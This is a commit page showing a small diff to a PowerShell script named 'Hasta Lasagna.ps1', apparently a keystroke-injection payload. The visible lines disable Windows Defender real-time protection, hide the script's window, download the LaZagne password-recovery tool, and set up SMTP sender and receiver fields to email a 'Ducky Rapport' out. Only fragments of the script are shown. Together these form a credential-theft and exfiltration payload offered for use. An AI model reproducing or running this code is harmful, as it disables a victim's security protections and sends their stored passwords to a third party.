Merge pull request #158 from m4ki3lf0/patch-4

Update Hasta Lasagna.ps1
pull/160/head
hak5glytch 2022-10-10 19:46:23 -06:00 committed by GitHub
commit 76a60e0ed7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 1 deletions

View File

@ -77,7 +77,8 @@ public static extern bool SetForegroundWindow(IntPtr hWnd);
Set-Alias -Name 'Set-WindowStyle' -Value 'Set-WindowState'
# Disable real time protection
Set-MpPreference -DisableRealtimeMonitoring $true
# Minimize window
Get-Process -ID $PID | Set-WindowState -State HIDE
# Create a tmp directory in the Downloads folder
@ -101,6 +102,7 @@ Invoke-WebRequest -Uri "https://github.com/AlessandroZ/LaZagne/releases/download
$smtp = "" # Put SMTP SERVER HERE, TESTED WITH GOOGLES
$From = "" # Put the SENDER HERE
$To = "" # Put the RECEIVER HERE
$smtp = "" # PUT YOUR SMTP SERVER HERE (TESTED WITH GOOGLE)
$Subject = "Ducky Rapport"
$Body = "Hi, here is the Rapport"